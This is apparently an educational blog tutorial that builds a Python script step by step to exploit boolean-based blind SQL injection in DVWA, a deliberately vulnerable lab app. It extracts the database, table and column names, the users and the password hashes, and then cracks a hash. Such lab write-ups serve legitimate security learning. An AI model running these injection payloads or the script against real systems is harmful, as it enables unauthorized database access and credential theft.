Here is another article that will show how to exploit a known vulnerability in practice.
In particular, this time we will exploit the blind SQL injection section of DVWA by using Python.
I want to show you an all-in-one script that once running will get all information you need to get the admin password in an environment where you cannot see query results.
This is how will be the final result:
There are a lot of ways to solve the challenge, but I have chosen to use a custom script for these main reasons:
- We have to perform numerous calls and the Burp Suite Community edition has a limit on the number of threads for the intruder
- I don’t want to depend on an external tool
- The best way to understand something is to make it by yourself
I’m fully aware that a professional tool would be better for a Penetration Tester, anyway this blog is the place where we are learning, and I cannot see a better approach.
Also because knowing the foundation make you able to use every tool!
What is Blind SQL Injection?
Blind SQL Injection is nearly identical to normal SQL Injection, the only difference being that the database does not output data to the web page.
The page with the vulnerability may not display any data but may do something such as display the current username.
So, an attacker is forced to steal data by asking the database:
- A series of true or false questions (Boolean-Based.
- A series of time-based queries relying on the sleep function (Time-Based).
This makes exploiting the SQL Injection vulnerability more difficult, but not impossible as the attacker may be able to deduce the result.
Such an attack can be time-intensive due to the need to craft a new statement for each bit recovered and may consist of many unsuccessful requests.
However, tools exist to automate the process of identifying and exploiting such blind SQL injection vulnerabilities.
It’s also possible to automate the process by using your programming skill, and this is the way we operate in the next paragraphs.
We have seen in the previous tutorials what SQL injection is and how to do this type of attack.
If you think you’re not well-acquainted with SQL injection, I suggest you don’t continue before reading the previous articles:
In-Band SQL injection
- SQL Injection: What You Need to Know
- Learn SQL injection in practice by hacking vulnerable application!
- How To Hack With SQL Injection Attacks! DVWA low security
- Hack With SQL Injection Attacks! DVWA medium security
- Hack With SQL Injection Attacks! DVWA high security
- Mastering SQL Injection on DVWA Low Security with Burp Suite: A Comprehensive Guide
- Mastering DVWA SQL Injection: Medium Security with Burp Suite
Blind SQL injection
- Blind SQL injection: How To Hack DVWA With Python (Low Security)
- Blind SQL Injection: How To Hack DVWA With Python (Medium Security)
- Blind SQL Injection: How To Hack DVWA With Python (High Security)
Prerequisites
As you would have understood, Blind SQL Injection exploitation with Python requires more work, even if we set low security on DVWA.
I assume you are working on a Kali Linux machine, anyway, that would work everywhere if you have Python 3 installed.
Before starting, you should install two fundamental libraries by using pip:
By typing on your terminal the following commands:
pip install beautifulsoup4 requests
Another thing you will need in order to get the best from this tutorial is a utils file that I’ve written for you.
You can get it from GitHub at this link or maybe you can just copy/paste the following code into a file living in the same directory as your main script.
It provides you with a set of classes to make easier the connection with DVWA and manage the CSRF token.
I did that to make you focus just on Blind SQL injection.
Obviously, we could also get the session token from the browser, but I found that extremely uncomfortable.
Now we are ready, let’s open our main.py file which will contain the script and let’s start by importing the utils.py
from utils import *
Step #0: Take A Look To The Web Application
As usual, I’m testing this Python script for blind SQL injection on a DVWA machine with a low level of security from TryHackMe.
We already have seen here how to set up what we need.
So let’s connect to the given IP and put:
- username: admin
- password: password
After that, go to settings and set the security level as “low” as the picture below shows.
Now we set the security as low, we can click on SQL Injection (Blind) in the menu on the left and see the DVWA’s vulnerability before writing our Python script.
From here we can infer a bunch of information, let’s see what.
First of all, we can try to insert a random value and look at the result, for example, try with “1”
If we do the same with a higher number like “100” the result is:
By looking at the URL in the browser’s bar, we see something like this:
http://10.10.201.172/vulnerabilities/sqli_blind/?id=100&Submit=Submit#
That indicates that the query is passed as an HTTP GET request.
The last piece of information before putting your hand to the code is checking if the input is vulnerable.
Let’s try to insert: 1' OR 1=1#
It says that the user exists, so we get a clear indication of the presence of the vulnerability.
Step #1: Check The Query Result
Even if it should be a quick script, we don’t want to repeat ourselves, so we can define a function that builds the query, calls to the server, and returns true if the server gives us a positive response and false otherwise.
def get_query_result(s, sqli_blind_url, query, *args):
try:
concrete_query = query.format(*args)
response = s.get(f"{sqli_blind_url}?id={concrete_query}&Submit=Submit#")
parser = DVWASQLiResponseParser(response)
return parser.check_presence("exist")
except AttributeError as e:
return False
It takes a variable number of arguments, formats the query and uses the parser from the utils to get the response.
Obviously, there is not a strong error checking, but our goal is to replace Burp and learn as much as possible about Blind SQL injection, and not about software architecture!
Step #2: Manage The Login to DVWA and CSRF Token
The classes I provided you are in charge to manage the login and the whole session, in a way to hide all the internals.
If you want to operate in DVWA, you just need to put all your code into the with clause and use GET/POST methods on the DVWASessionProxy as you would do with a classic session from requests.
You can also directly set the security property from the proxy.
This is a minimal example:
with DVWASessionProxy(BASE_URL) as s:
s.security = SecurityLevel.LOW
# Put here your code
Ok, we are done with the preparation, it’s time to write our main function, but before starting with the real code, we have to write in a very visible place a variable containing the target IP.
That’s required because it changes for every instance, so let’s declare it:
if __name__ == "__main__":
BASE_URL = "http://10.10.227.17" #change this value with the ip of DVWA machine
sqli_blind_url = f"{BASE_URL}/vulnerabilities/sqli_blind"
Step #3: Get The DB Name in a Blind SQLi attack
We cannot simply print the name of the database as we did for SQL injection, so in this case, we need to get the length and then try to guess char-by-char.
We have seen from the GUI in the introduction that there is no input control, so we can take advantage of that.
First, we need to run a query like this:"1' AND LENGTH(DATABASE()) = n #"
where n changes.
There is a little problem, the hashtag in the URL indicates the end of that (here you can see an explanation), so we should replace it with its URL-encoded equivalent: “%23”.
So we can choose an arbitrary long n and loop until the response does contain the “exists” word.
This is how we do it in Python:
query = "1' AND LENGTH(DATABASE()) = {} %23"
length = 0
for i in range(10):
if get_query_result(s, sqli_blind_url, query, i):
print(f"[+] The DB's name length is {i}")
length = i
Once we saved the length of the database’s name into a variable, we can try to guess it.
This time, we want to check every char of the string from position one to the last position and compare it with every possible character.
Obviously, if we guess the char, the application will return “User id exists…”. We just need to build a string with all the right characters.
The code is:
query = "1' AND SUBSTRING(DATABASE(), {}, 1) = '{}'%23"
dbname = []
for i in range(1, length+1):
for c in string.ascii_lowercase:
if get_query_result(s, sqli_blind_url, query, i, c):
dbname.append(c)
break
dbname = "".join(dbname)
print(f'[+] Found a database with name: {dbname}')
This code has two nested loops, the outer one is the index of the character, and the inner one instead is in charge of testing every char in the “string.ascii_lowercase” set.
Finally, we got the name of the database, and it’s stored in the variable “dbname”.
NB: I used the SUBSTRING function to get the character, it takes as arguments:
- The main string
- The position of the first substring’s character
- The number of characters of the substring
Step #4: Get The Tables’ Names in a Blind SQLi attack
The next step is similar to the previous one, this time the goal is to get the names of all the tables inside the database, and before doing that, even this time, we need to know how many tables there are.
We can do it thanks to the COUNT function in MySQL by looping over an arbitrary number of integers( we can increase the range if the final number is equal to the maximum):
query = "1' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_type='base table' AND table_schema='{}')='{}'%23"
n_tables = 0
for i in range(1, 10):
if get_query_result(s, sqli_blind_url, query, dbname, i):
print(f"[+] It has {i} tables")
n_tables = i
break
Once we have the number of tables we have to do what we have done for guessing the DB name, the only difference is that we need to do that for every table.
The query we are going to inject is the following:
"1' AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_type='base table' AND table_schema='dvwa' LIMIT 1),{},1)='{}'%23"
This query takes advantage of meta tables as the previous one, and the principle is exactly what we saw.
The difference is that the result is a list of elements, so we need to LIMIT them to one before extracting the characters. We can do that thanks to the SQL LIMIT clause.
Probably your question at this point is:
Once I found the first table, how can I go to the next one?
There are different techniques, here I will use a chain of WHERE table_name <> 'found_table_name'
(built inside the variable completion).
In the next sections, I’ll show you how to do the same with the LIMIT clause, in the same way, programmers implement pagination within their applications.
query = "1' AND SUBSTR((SELECT table_name from information_schema.tables WHERE table_type='base table' AND table_schema='{}' {} LIMIT 1),{},1)='{}'%23"
found_tables = [[] for _ in range(n_tables)]
completion = ""
for i in range(n_tables):
for j in range(1, 10):
for c in string.ascii_lowercase:
if get_query_result(s, sqli_blind_url, query, dbname, completion, j, c):
found_tables[i].append(c)
break
print("\t","".join(found_tables[i]))
completion += f" AND table_name <> '{''.join(found_tables[i])}'"
Pretty good, from now we have almost seen everything we need for implementing this exploit!
You are probably realizing how a blind SQL injection can be tricky even if we are on DVWA with a low level of security, even if you decide to don’t use Python, a working exploit could require a big effort.
Step #5: Get the columns’ names in a Blind SQLi attack
We are almost to the most interesting part, now we need to get the column names.
As we did previously, I want to know the number of columns and then get the names.
I will also provide the script’s user with the possibility to interrupt the loop with CTRL+C when he sees the tables we need (the ones containing the username and password). It will save a bit more time.
The user has also to insert the target table so that, in the end, we can run the script once and get the username and password.
users_table = input("Type the tabname to attack: ")
query = "1' AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{}')='{}'%23"
n_columns = 0
for i in range(1, 10):
if get_query_result(s, sqli_blind_url, query, users_table, i):
print(f"[+] It has {i} columns")
n_columns = i
break
Getting the number of columns It’s exactly what we already did, so we can skip and see how to get the columns’ names.
query = "1' AND SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='{}' LIMIT {}, 1),{},1)='{}'%23"
found_columns = [[] for _ in range(n_columns)]
completion = ""
print("[!] In order to speed up, try to press CTRL+C when you find the user and password columns")
try:
for i in range(n_columns):
for j in range(1, 12):
for c in string.ascii_lowercase:
if get_query_result(s, sqli_blind_url, query, users_table, i, j, c):
found_columns[i].append(c)
break
print("\t","".join(found_columns[i]))
except KeyboardInterrupt as e:
print("\nSkipping this phase!")
It is not so different from what we did to query the tables’ names, however, pay attention to the usage of the LIMIT clause, as we can see here this clause allows us also to specify the offset, in a way that we can get the n-th element.
Step #6: Get the users’ names in a Blind SQLi attack
This is the step where we get all the usernames.
After enumerating the columns we can let the user choose the column with usernames and the column with passwords and then proceed with the users’ guessing.
This phase is not so much different from the previous one, we are just listing all usernames and making the user able to stop the research and go to the next step!
users_column = input("Type the name of the column containing usernames: ")
passwords_column = input("Type the name of the column containing passwords: ")
query = "1' AND SUBSTR((SELECT {} FROM {} LIMIT {}, 1),{},1)='{}'%23"
found_users = [[] for _ in range(10)]
completion = ""
print("[!] In order to speed up, try to press CTRL+C when you find the target user")
try:
for i in range(10):
for j in range(1, 12):
for c in string.ascii_letters+string.digits:
if get_query_result(s, sqli_blind_url, query, users_column, users_table, i, j, c):
found_users[i].append(c)
break
print("\t","".join(found_users[i]))
except KeyboardInterrupt as e:
print("\n Skipping this phase!")
This code will list every user in the table, when we are done, we can stop and start the password guessing.
Step #7: Get the user’s password in a Blind SQLi attack
We are at the end of our attack.
What we have seen until now it’s enough to understand how we can guess the password, so I’ll just show you the code that:
- Asks for the target user
- Guess the password length
- Guess the user’s password
query = "1' AND LENGTH((SELECT {} FROM {} WHERE {}='{}'))={}%23"
pwd_length = 0
for i in range(100):
if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, username, i ):
pwd_length = i
print(f"[+] The password length is: {i}")
query = "1' AND SUBSTR((SELECT {} FROM {} WHERE {}='{}' LIMIT 1), {}, 1)='{}'%23"
password = []
for j in range(1, pwd_length+1):
for c in string.ascii_letters+string.digits:
if get_query_result(s, sqli_blind_url, query, passwords_column, users_table, users_column, username, j, c):
password.append(c)
break
print("[+] Password is: ","".join(password))
Step #8: Crack password in a Blind SQLi attack
Finally, everything is done, and it’s time to check if we can perform a Blind SQL injection on DVWA just by using a single Python script!
Let’s run the Blind SQLi attack to the DVWA instance by typing on the terminal:
python main.py
And this is the awesome result that we have already seen in the introduction!
The password, as usual in DVWA and in every real database is hashed, so let’s copy-paste the result into Crackstation.
And we have the result!
Probably you want to see the whole code, so that’s it!
Conclusion
This article is very long with respect to the other ones, so I won’t dwell anymore.
I hope you find it interesting and maybe you learned as much as I did.
This knowledge would be fine for whatever you do in the IT field.
I had a lot of fun with this project and I hope to extend it.
If you like my work follow me on my social and if you want to give me feedback feel free to use the contacts form!
I just want to conclude with an idea:
Running this script has not had so many performance gaps with respect to Burp Suite Community Edition, so try to perform the most time-consuming tasks by using threads!
Thank you for your attention!